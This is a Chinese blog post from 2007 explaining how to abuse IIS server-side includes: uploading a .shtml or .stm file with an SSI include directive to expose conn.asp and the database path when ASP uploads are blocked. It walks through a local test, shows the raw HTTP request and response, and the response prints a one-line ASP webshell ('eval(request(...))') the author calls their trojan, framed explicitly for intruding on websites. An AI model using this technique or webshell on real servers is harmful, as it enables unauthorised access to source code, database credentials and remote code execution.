IIS下另外一个危险的ISAPI扩展

原创 2007年09月25日 19:12:00

我们先来看一份关于SSI的介绍:
SSI有什么用?

    之所以要扯到ssi,是因为shtml--server-parsed HTML 的首字母缩略词。包含有嵌入式服务器方包含命令的 HTML 文本。在被传送给浏览器之前,服务器会对 SHTML 文档进行完全地读取、分析以及修改。

    shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来

    比如:你可以在SHTML文件中用SSI指令引用其他的html文件(#include ),服务器传送给客户端的文件,是已经解释的SHTML不会有SSI指令。它实现了HTML所没有的功能,就是可以实现了动态的SHTML,可以说是HTML的一种进化吧。像新浪的新闻系统就是这样的,新闻内容是固定的但它上面的广告和菜单等就是用#include引用进来的。

目前,主要有以下几种用用途:

1、显示服务器端环境变量<#echo>

2、将文本内容直接插入到文档中<#include>

3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)

4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI<XSSI>可设置变量使用if条件语句

大家都知道ISAPI在默认情况下有很多危险的扩展,比如:
   ASP ASA CER CDX,都可以执行ASP脚本代码
在程序不允许上传这些扩展的情况下我们可以上传一个stm文件或者shtml, 内容为:
<!--#include file="conn.asp"-->
直接请求这个stm文件或者shtml文件, conn.asp就一览无遗, 数据库路径也就到手啦!

并且又看了那篇shtml的介绍后,恍然大悟,终于明白了!
原来就是如上所说的,
<!--#include file="conn.asp"-->
  就是一条SSI指令,其作用是将"conn.asp"的内容拷贝到当前的页面中,当访问者来浏览时,会看到其它HTML文档一样显示conn.asp其中的内容。
我在本地试验成功!在我的iis目录下建了一个test.shtml文件,内容为:
<!--#include file="ok.asp"-->
又在同一目录下放了一个我的一个木马文件ok.asp
在浏览器中请求test.shtml,没有什么反映,一片空白。
但是一查看源代码,狂晕,原来就是我的asp文件的内容!
这样我们就可以利用这个来获取要入侵的web的conn文件来获得数据库路径,
但是一个前提是服务器的对stm或者shtml的扩展没有删除,还有一个就是必须开启“在服务端包含文件”WEB服务扩展。

GET /test.shtml HTTP/1.1
Accept: */*
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 221.195.40.43
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Tue, 14 Aug 2007 01:57:18 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22
Content-Type: text/html

<%eval(request("#"))%>

 
版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

在XP系统下用VC6调试IIS 5.1 ISAPI扩展DLL/筛选器

我(Liigo)真的是败给它了,折腾了一晚上又一白天,尝试了无数遍,直到今晚早些时候才算有些眉目了。经历惨痛的过程,终于获得一些经验总结。其实按照我后面提供的两个链接,仔细设置和操作,完全是可以达成目...
  • liigo
  • liigo
  • 2012-06-03 23:04
  • 2546

在IIS6.0上将php-cgi运行模式切换到php-isapi运行模式

配置演示环境:VM8 + Windows Server 2003 Enterprise Edition + IIS6.0 + php4.2.17_win32 一、 备份之前的配置 注...

在32和64位系统的IIS下发布Delphi编写的WebServices(ISAPI)

最近在服务器和本地调用delphi写的导出Excel 的webservices,出现一系列配置和权限问题,现在一一记录下来。 在windows7系统自带的IIS7.0中及windows 2008 r2...

IIS下301跳转方法:ISAPI_Rewrite伪静态重写+PHP301

今天把网站域名更为二级域名,准备把原来伪静态的页面301重定向到新的域名。 之前使用ISAPI_Rewrite 1.3做的伪静态:[ISAPI_Rewrite] CacheClockRate 360...

用win7自带IIS7.0发布ISAPI模块

用win7自带IIS7.0发布ISAPI模块 前言:这两天需要用ISAPI开发一个应用接口,结果在发布的时候遇到了很大的麻烦,用网上试了很多办法也没有成功。现在找到一种很简单的发布方法、现在...

最新-如何在Windows server 2008中配置IIS 75的ISAPI和CGI限制

服务器越来越多的使用windows2008R2作为服务器操作系统,IIS7.5是安装在win7、win8、win10里的web服务器的管理程序,win2003、win2000的web服务器使用的是ii...

微软IIS的ISAPI筛选器权限法则

前言:微软IIS中的ISAPI其实是个对于很多人都很陌生的东西,这个东西几乎控制着IIS中一切动态内容的生命,因为只有ISAPI,才可以让你的动态内容交互式网页(如ASPX/PHP等),因为ISAPI...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)